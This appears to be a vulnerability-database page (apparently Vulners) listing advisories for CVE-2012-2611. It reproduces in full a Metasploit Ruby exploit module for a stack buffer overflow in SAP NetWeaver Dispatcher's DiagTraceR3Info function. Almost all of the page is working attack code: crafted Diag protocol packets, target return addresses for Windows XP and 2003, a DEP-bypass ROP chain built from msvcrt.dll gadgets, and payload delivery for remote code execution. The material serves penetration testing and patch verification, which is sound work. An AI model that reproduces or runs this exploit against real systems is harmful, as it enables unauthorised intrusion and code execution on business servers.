SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow exploit on SAP Netweaver 7.0 EHP2 SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass) allows remote attackers to execute arbitrary code by supplying a special crafted Diag packe
Reporter | Title | Published | Views | Family All 15 |
---|---|---|---|---|
![]() | SAP NetWeaver Dispatcher DiagTraceR3Info Packet Parsing Vulnerability | 4 Jun 201200:00 | – | saint |
![]() | SAP NetWeaver Dispatcher DiagTraceR3Info Packet Parsing Vulnerability | 4 Jun 201200:00 | – | saint |
![]() | SAP NetWeaver Dispatcher DiagTraceR3Info Packet Parsing Vulnerability | 4 Jun 201200:00 | – | saint |
![]() | SAP NetWeaver Dispatcher DiagTraceR3Info Packet Parsing Vulnerability | 4 Jun 201200:00 | – | saint |
![]() | CVE-2012-2611 | 15 May 201201:00 | – | cvelist |
![]() | SAP NetWeaver Dispatcher - DiagTraceR3Info Buffer Overflow (Metasploit) | 7 Sep 201200:00 | – | exploitdb |
![]() | SAP NetWeaver Dispatcher 7.0 ehp1/2 - Multiple Vulnerabilities | 21 Aug 201200:00 | – | exploitdb |
![]() | SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow | 2 Sep 201222:15 | – | metasploit |
![]() | CVE-2012-2611 | 15 May 201204:21 | – | nvd |
![]() | CVE-2012-2611 | 15 May 201204:21 | – | cve |
`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
attacker to execute arbitrary code by supplying a special crafted Diag packet. The
Dispatcher service is only vulnerable if the Developer Traces have been configured
at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
},
'Author' => [
'Martin Gallo', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '81759' ],
[ 'CVE', '2012-2611' ],
[ 'BID', '53424' ],
[ 'EDB', '20705' ],
[ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
[ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Platform' => 'win',
'Targets' =>
[
# disp+work.exe version 7200.70.18.23869
[
'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
{
'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
}
],
[
'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
{
'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
}
]
],
'Privileged' => false,
'DefaultTarget' => 1,
'DisclosureDate' => 'May 8 2012'))
register_options([Opt::RPORT(3200)], self.class)
end
def create_rop_chain()
# ROP chains provided by Corelan.be
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
rop_gadgets =
[
0x77bb2563, # POP EAX # RETN
0x77ba1114, # <- *&VirtualProtect()
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
0x41414141, #junk
0x77bb0c86, # XCHG EAX,ESI # RETN
0x77bc9801, # POP EBP # RETN
0x77be2265, # ptr to 'push esp # ret'
0x77bb2563, # POP EAX # RETN
0x03C0A40F,
0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
0x77bb48d3, # POP EBX, RET
0x77bf21e0, # .data
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
0x77bbfc02, # POP ECX # RETN
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
0x77bd8c04, # POP EDI # RETN
0x77bd8c05, # ROP NOP (-> edi)
0x77bb2563, # POP EAX # RETN
0x03c0984f,
0x77bdd441, # SUB EAX, 03c0940f
0x77bb8285, # XCHG EAX,EDX # RETN
0x77bb2563, # POP EAX # RETN
0x90909090,#nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
].pack("V*")
return rop_gadgets
end
def exploit
peer = "#{rhost}:#{rport}"
connect
# initialize
diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
support_data = "\x10\x04\x0b\x00\x20"
support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
dpheader << "terminalXXXXXXX"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
pkt << dpheader
pkt << diagheader
pkt << user_connect
pkt << support_data
print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
sock.put(pkt)
res = sock.get_once(-1)
if not res
print_error("#{peer} - The connection with the Dispatcher has not been initialized")
return
end
# send message
if target.name =~ /Windows XP SP3/
crash = make_nops(112)
crash << "\xeb\x02" # jmp over call pointer
crash << [target.ret].pack("v")
crash << make_nops(10) * 200
crash << payload.encoded
else # Windows 2003
crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack
crash << rand_text(2) # padding
crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt
crash << [target.ret].pack("V") # stackpivot
crash << create_rop_chain
crash << payload.encoded
end
print_status("#{peer} - Sending crafted message")
message = "\x10\x06\x20" + [crash.length].pack("n") + crash
diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
eom = "\x0c"
pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
pkt << diagheader
pkt << step
pkt << message
pkt << eom
sock.put(pkt)
disconnect
end
end
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo